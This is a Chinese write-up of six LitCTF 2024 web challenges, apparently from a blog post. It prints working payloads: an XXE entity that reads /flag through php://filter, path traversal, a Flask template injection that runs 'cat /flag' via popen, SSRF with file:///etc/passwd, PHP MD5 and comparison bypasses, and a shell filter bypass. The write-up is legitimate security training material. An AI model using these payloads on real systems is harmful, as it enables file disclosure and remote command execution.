LITCTF2024-6月web方向wp

题目1:EXX

这个题目考察XXE注入,这个从题目就可看出来(翻转一下就可),了解一下XXE注入,主要了解XML格式和其中DOCTYPE还有主体ENTITY的定义,重点利用的是外部实体注入攻击,因为服务器会直接将xml传送的内容做引用,这样便可以通过一些伪协议找到flag。

**内部声明DTD** 
<!DOCTYPE 根元素 [元素声明]>
**引用外部DTD** 
<!DOCTYPE 根元素 SYSTEM "文件名">

上面是DOCTYPE 内部声明和外部声明两种格式,DOCTYPE用于定义xml文件中实体内容

内部声明实体
<!ENTITY 实体名称 "实体的值">
**引用外部实体**
<!ENTITY 实体名称 SYSTEM "URL">
或者:
<!ENTITY 实体名称 PUBLIC "public_ID" "URL">

上面是DOCTYPE内部实体分类,实体可以理解为变量,其必须在DTD中定义申明,可以在文档中的其他位置引用该变量的值。

本题直接通过Burp抓包后:

<?xml version="1.0"?>
<!DOCTYPE a[
    <!ENTITY b SYSTEM "php://filter/convert.base64-encode/resource=/flag">
]>

<user><username>&b;</username><password>123</password></user>

加入这个 xml定义,这样在请求服务器的时候会通过外部引用php伪协议,进而拿到flag,并回显。

关于详细的XXE注入,参考:XXE知识总结,有这篇就够了!

题目2:高亮浏览器

这个最开始意味请求的是url参数,最后通过抓包才发现,真正请求的是theme参数

,先尝试随便发一个数据过去看看回显是什么:

Warning</b>:  include(themes//flag): failed to open stream: No such file or directory in <b>/var/www/html/index.php

这显然可以看到路径,flag就在根目录下,直接../../../../flag访问 。拿到flag

题目3:Serializing Authentication System

这个就是一个反序列化,没啥好说的,直接按照要求就可拿到flag

<?php

class User {

    public $username;

    public $password;

    function __construct($username, $password) {

        $this->username = $username;

        $this->password = $password;

    }

    function isValid() { return $this->username === 'admin' && $this->password === 'secure_password'; }

}

$pay=new User("admin","secure_password");
echo base64_encode(serialize($pay));
?>

题目4:一个池子:

这个点开靶机是一个回声池,测试一下有没有flask注入:{{1+1}},发现返回的{{2}},ok了,直接构造payload就可以了:

input={{"".__class__.__base__.__subclasses__()[137].__init__.__globals__["popen"]("cat /flag").read()}}

这里在找可以运行os命令的子类的时候,还是有些费劲的。一般有一些可用子类可以着重留意一下,这里没有考绕过,会有一些题目还会对这些魔法方法进行过滤,绕过可以参考下面这篇文章:

绕过

题目5:套娃浏览器

这个题目最后的解决是慢慢发现的,前面扫描了,也抓包了,最后发现他对于url=file:///etc/passwd有回显,直接认定是SSRF漏洞。一般这个漏洞是因为服务端没有对输入的url做过滤导致可以访问不安全的网站从而被攻击

详细了解SSRF漏洞

当我们发现SSRF漏洞后,首先要做的事情就是测试所有可用的URL伪协议:

file:/// 从文件系统中获取文件内容,如,file:///etc/passwd
dict:// 字典服务器协议,访问字典资源,如,dict:///ip:6739/info:注意这个协议使用的前提是服务器的端口可以拿到,这个没啥好方法,除非直接告诉你否则就爆破吧
sftp:// SSH文件传输协议或安全文件传输协议
ldap:// 轻量级目录访问协议
tftp:// 简单文件传输协议
gopher:// 分布式文档传递服务,可使用gopherus生成payload

用的最多的是file和tftp,php这几个协议。

这个题是简单的,直接用file伪协议构建url=file:///flag即可

题目六:百万美金的诱惑

这个题目有两个阶段,

阶段1:

<?php
error_reporting(0);

$a = $_GET['a'];
$b = $_GET['b'];

$c = $_GET['c'];

if ($a !== $b && md5($a) == md5($b)) {
        if (!is_numeric($c) && $c > 2024) {
            echo "好康的";
        } else {
            die("干巴爹干巴爹先辈~");
        }
    }
else {
    die("开胃小菜))");
}

ab使用md5绕过方法,c是若比较

ab用数组绕过,c用字符串绕过

a[]=1&b[]=2&c=2025abc

阶段2:


<?php
//flag in 12.php
error_reporting(0);
if(isset($_GET['x'])){
    $x = $_GET['x'];
    if(!preg_match("/[a-z0-9;`|#'\"%&\x09\x0a><.,?*\-=\\[\]]/i", $x)){
            system("cat ".$x.".php");
    }
}else{
    highlight_file(__FILE__);
}
?>

这个过滤有点狠,全部的数字字符还有换行这些常用的绕过全部过滤,这个我当时确实没啥思路,只能在网上搜搜,最后发现一个绕过方法:

https://xz.aliyun.com/t/12242?time__1311=mqmhD5YIMD7GkDlc%2BEvPQT47qgxAxAIwxx&alichlgref=https%3A%2F%2Fcn.bing.com%2F#toc-0 

按照要求,构造payload 12如下;

$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

  • 14
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值